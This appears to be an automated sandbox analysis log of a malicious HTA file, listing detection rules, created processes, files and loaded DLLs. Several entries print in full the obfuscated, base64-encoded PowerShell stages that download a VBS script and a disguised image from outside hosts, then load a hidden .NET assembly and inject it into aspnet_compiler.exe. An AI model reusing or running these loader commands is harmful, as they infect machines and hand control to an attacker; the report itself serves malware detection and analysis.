                  Source: Process Memory Space: powershell.exe PID: 3004, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                  Source: classification engineClassification label: mal100.phis.troj.expl.evad.winHTA@17/16@1/1
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\seemybestthingswhatdoingforbetter[1].tiffJump to behavior
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4512:120:WilError_03
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2644:120:WilError_03
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2qybaiyi.3df.ps1Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS"
                  Source: C:\Windows\SysWOW64\mshta.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: seemybestdayguvenu.htaReversingLabs: Detection: 21%
                  Source: unknownProcess created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\seemybestdayguvenu.hta"
                  Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline"
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA8D6.tmp" "c:\Users\user\AppData\Local\Temp\3cxbggpe\CSC280B62266E03482F8F906EDB13385254.TMP"
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS"
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelho
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                  Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline"Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA8D6.tmp" "c:\Users\user\AppData\Local\Temp\3cxbggpe\CSC280B62266E03482F8F906EDB13385254.TMP"Jump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelhoJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"Jump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mshtml.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: powrprof.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wkscli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: umpdc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msiso.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msimtf.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxgi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: textinputframework.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coremessaging.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coremessaging.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: jscript9.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: vbscript.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: scrrun.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sxs.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msls31.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d2d1.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dwrite.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d11.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d10warp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: edputil.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: appresolver.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: bcp47langs.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: slc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sppc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dataexchange.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dcomp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
